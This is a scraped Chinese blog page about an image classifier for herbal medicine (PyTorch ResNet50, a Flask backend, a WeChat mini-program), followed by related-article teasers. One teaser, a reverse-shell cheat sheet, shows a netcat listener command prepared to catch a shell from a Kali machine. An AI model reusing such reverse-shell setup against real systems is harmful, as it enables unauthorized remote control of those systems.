微信小程序+中草药分类+爬虫+torch

1 介绍

本项目提供中草药数据集,使用gpu、cpu版本的torch版本进行训练,将模型部署到后端flask,最后使用微信小程序进行展示出来。
数据爬虫可以参考:http://t.csdnimg.cn/7Olus 项目中的爬虫代码,并且本项目提供相同的爬虫代码。

2 数据处理,随机打乱训练集和测试集

因为我们的原始图片是在一个文件夹下,需要划分训练集和 测试集,这步也可以手工操作,总之,我们要将目录结构变为:
在这里插入图片描述

if os.path.isdir(category_path):# 获取该种类下的所有图片文件image_files = [f for f in os.listdir(category_path) if f.endswith(".jpg")]# 随机打乱图片顺序random.shuffle(image_files)# 计算切割点split_point = int(len(image_files) * split_ratio)# 将图片分配给训练集train_images = image_files[:split_point]for image in train_images:src = os.path.join(category_path, image)dst = os.path.join(train_folder, category_folder, image)os.makedirs(os.path.dirname(dst), exist_ok=True)shutil.move(src, dst)

3 模型训练和验证

from torchvision import transforms as T  # 导入torchvision库中的transforms模块,并将其重命名为T。
from torchvision.datasets import ImageFolder  # 从torchvision.datasets模块中导入ImageFolder类,用于加载图像数据集。
from torch.utils.data.dataloader import DataLoader  # 从torch.utils.data.dataloader模块中导入DataLoader类,用于创建数据加载器。
import torch  # 导入PyTorch库。
from PIL import  ImageFile
from sklearn.metrics import classification_report, accuracy_score
import warnings  # 导入warnings库,用于忽略警告信息。
warnings.filterwarnings("ignore")
#  检查cpu是否可用,将结果存储在变量device中
device = torch.device('cuda:0' if torch.cuda.is_available() else 'cpu')
print(device)# 数据预处理,归一化
transform = T.Compose([T.Resize(256),T.CenterCrop(224),T.ToTensor(),T.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]),
])# 导入训练集和测试机,并且同时对图片进行预处理
train = ImageFolder('data/train', transform=transform)  # 从指定路径加载训练集,并应用之前定义的数据预处理管道。
test = ImageFolder('data/val', transform=transform)  # 从指定路径加载测试集,并应用之前定义的数据预处理管道。
print('Size of raw dataset :', len(train))  # 打印训练集的大小。
print('Size of test dataset :', len(test))  # 打印测试集的大小。
from torchvision import modelsmodel = models.resnet50(pretrained=True)  # 导入resnet50网络# 修改最后一层,最后一层的神经元数目=类别数目,所以设置为100个
model.fc = torch.nn.Linear(in_features=2048, out_features=5)

在这里插入图片描述
最后的结果展示:
在这里插入图片描述

4 模型部署到flask端

无论我们训练使用的是gpu还是cpu,我们在部署时都尽可能的转换为cpu端,引入图片输入是cpu端

def prepare_image(image):transform = T.Compose([T.Resize(256),T.CenterCrop(224),T.ToTensor(),T.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225]),])# 对图像进行预处理input_tensor = transform(image)input_batch = input_tensor.unsqueeze(0)  # 添加批次维度return input_batch

预测的核心代码块,主要是传入字节文件,转换为图片,然后预测,最后获取结果,并将结果保存在data中

img_bytes = flask.request.form.get('picture') # 获取值image = base64.b64decode(img_bytes)# 编码转换image = Image.open(io.BytesIO(image))input_batch = prepare_image(image) # 预处理图像output = model(input_batch) # 预测output = torch.softmax(output, dim=-1) # 得到预测值score, predicted_idx = torch.max(output, 1) # 得分和标签score = score.detach().numpy()[0]predicted_idx = predicted_idx.detach().numpy()[0]label_name = idx2class[predicted_idx]# 写入到字典中label_info = idx2info[predicted_idx]data = {"class_name": label_name, "prob": float(score),"info":label_info}

5 微信小程序

详细参考http://t.csdnimg.cn/7Olus中微信小程序页面,本项目包含微信小程序,可以放心使用。
详细咨询完整代码:https://docs.qq.com/doc/DWEtRempVZ1NSZHdQ

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/182598.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

using meta-SQL 使用元SQL (3)

%FirstRows Syntax %FirstRows(n) Description The %FirstRows meta-SQL variable is replaced by database-specific SQL syntax to optimize retrieval of n rows. Depending on the database, this variable optimizes: FirstRows meta-SQL变量被特定于数据库的SQL语法…

反弹shell命令速查

反弹Shell-Linux 【监听端】centos: 192.168.35.152 【被控端】kali: 192.168.35.128# 监听端执行 [root@localhost ~]# nc -vvl 7777 Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Listening on :::7777 Ncat: Listening on 0.0.0.0:7777bash ┌──(root@kali)-[/h…

基于YOLOv5的人群计数系统设计系统

欢迎大家点赞、收藏、关注、评论啦 ,由于篇幅有限,只展示了部分核心代码。 文章目录 一项目简介系统概述系统功能核心技术系统架构系统优势 二、功能三、系统四. 总结  总结 一项目简介 基于YOLOv5的人群计数系统设计是一个非常有趣且具有挑战性的项目…

离散时间信号的分析(数字信号处理实验1-2)

前言:该系列实验均使用matlab完成,实验课程为《数字信号处理》 文章目录 一.题目二.实验目的三.实验仪器四.实验原理实验所用的matlab函数解析离散时间信号实验原理: 五.实验步骤六.实验代码及实验结果完整代码1.线性卷积代码2.循环卷积运算…

(亲测有效)解决windows11无法使用1500000波特率的问题

大家好!我是编码小哥,欢迎关注,持续分享更多实用的编程经验和开发技巧,共同进步。 1、问题描述 从图1可以看出串口是正常的,安装的驱动是CP210xVCPInstaller_x64.exe,但是从图2可以看出,串口拒…

HarmonyOS ArkTS 使用DevEco Studio高效开发(十三)

1、快速开始 打开IDE后,在IDE上边栏有个Help入口,里面有一个Quick Start快速开始入口,点击进去就会进入到快速开始面板。在这个面板中会有一些快速入门的实验指导和一些常用的链接。快速开始相当于一个收藏夹,把最常用的一些学习…

苍穹外卖--添加购物车

购物车数据是关联用户的,在表结构中,我们需要记录,每一个用户的购物车数据是哪些菜品列表展示出来的既有套餐,又有菜品,如果用户选择的是套餐,就保存套餐ID(setmeal_id),如果用户选择的是菜品&a…

git stash save untracked not staged

git stash save untracked not staged 如图 解决方案: git stash save "tag标记信息" --include-untracked或者: git stash save -u "tag标记信息" git stash clear清空本地暂存代码_zhangphil的博客-CSDN博客文章浏览阅读486次。…

代码的并发问题

List 在遍历时候删除元素 为list添加元素&#xff0c;通过for或者通过foreach删除都存在删除异常&#xff0c;在捕获异常的时候注意异常信息的简化消息传递&#xff0c;容易造成异常错误的简化 Testpublic void testException(){List<Integer> list new ArrayList<…

【业务实战】mysql数据库中<标签tag功能>一般是怎么设计的?

【业务实战】mysql数据库中<标签tag功能>一般是怎么设计的? 在 MySQL 数据库中设计标签系统&#xff0c;可以采用以下两种常见的设计方案&#xff1a; 标签关联表&#xff1a; 创建一个标签表&#xff0c;用于存储所有可用的标签。该表可以包含字段如标签ID&#xff08…

银河麒麟高级服务器操作系统V10安装达梦数据库管理系统DM8——单实例

一、介绍 之前介绍过供个人学习在VMware虚拟机上安装银河麒麟高级服务器操作系统V10&#xff0c;有兴趣的可以去看看&#xff08;银河麒麟V10安装&#xff09;&#xff0c;本次主要学习在银河麒麟V10上安装达梦数据库-DM8。DM8是达梦公司在总结DM系列产品研发与应用经验的基础…

Unity优化篇:对于unity DrawCall/Mesh/纹理压缩/内存等方面的常规调试和优化手段

对于Unity的DrawCall、Mesh、纹理压缩、内存等方面的常规调试和优化手段&#xff0c;我都有一定的了解。以下是一些常见的优化手段&#xff1a; 减少DrawCall&#xff1a;这是提高性能的关键。尽可能合并相同的材质和纹理&#xff0c;使用LOD&#xff08;Levels of Detail&…

记录一次YAMLException异常

记录一次YAMLException异常 ✅作者简介&#xff1a;大家好&#xff0c;我是Leo&#xff0c;热爱Java后端开发者&#xff0c;一个想要与大家共同进步的男人&#x1f609;&#x1f609; &#x1f34e;个人主页&#xff1a;Leo的博客 &#x1f49e;当前专栏&#xff1a; 报错以及B…

C语言——深入理解指针(3)

目录 1. 字符指针 2. 数组指针 2.1 数组指针变量 2.2 数组指针变量的初始化 3.二维数组传参&#xff08;本质&#xff09; 4. 函数指针 4.1 函数指针变量的创建 4.2 函数指针的使用 4.3 typedef 5. 函数指针数组 6. 转移表&#xff08;函数指针数组的使用&#xff…

Opencv颜色追踪

废话不多说直接上代码&#xff01;&#xff01; # 这是一个示例 Python 脚本。 import cv2 import numpy as npdef track_object():# 打开摄像头外接cap cv2.VideoCapture(0)while True:# 读取摄像头帧# ret&#xff08;Return Value&#xff09;是一个布尔值&#xff0c;表示…

@RequestMapping详解:请求映射规则

目录 请求-相应模式&#xff1a; 设置请求映射规则RequestMapping POST 请求&#xff1a; GET 请求 请求-相应模式&#xff1a; 前端作为客户端向后端发送请求&#xff08;请求可以分为请求头和请求体两部分&#xff0c;请求头包含了一些元数据信息&#xff0c;如请求方式、…

硬盘录像机无法注册到视频监控平台EasyCVR上是什么原因?该如何解决?

视频监控汇聚平台EasyCVR可拓展性强、视频能力灵活、部署轻快&#xff0c;可支持的主流标准协议有国标GB28181、RTSP/Onvif、RTMP等&#xff0c;以及支持厂家私有协议与SDK接入&#xff0c;包括海康Ehome、海大宇等设备的SDK等。平台既具备传统安防视频监控的能力&#xff0c;也…

【20年扬大真题】试写一算法在带头结点的单链表结构上实现线性表操作LENGTH(L)

【20年扬大真题】 试写一算法在带头结点的单链表结构上实现线性表操作LENGTH&#xff08;L&#xff09;。 #define _CRT_SECURE_NO_WARNINGS #include<stdio.h> #include<stdbool.h> #include<malloc.h> //单链表定义 //链表结点 int A[10] { 1,2,3,4,5,6,…

开源C++智能语音识别库whisper.cpp开发使用入门

whisper.cpp是一个C编写的轻量级开源智能语音识别库&#xff0c;是基于openai的开源python智能语音模型whisper的移植版本&#xff0c;依赖项少&#xff0c;内存占用低&#xff0c;性能更优&#xff0c;方便作为依赖库集成的到应用程序中提供语音识别功能。 以下基于whisper.c…

低调使用。推荐一个 GPT4 Turbo、Vision、GPTs、DELL·E3 等所有最新功能同步可用国内网站

在 11 月 6 日&#xff0c;万众期待的 OpenAI DevDay&#xff0c;ChatGPT 发布了一系列新的产品&#xff0c;其中推出了 GPT4 Turbo&#xff0c;并且将GPT4 Vision&#xff0c;DELLE3 等等能力全部集合到一起&#xff0c;不需要再分开使用&#xff0c;原来的局限的文本聊天也进…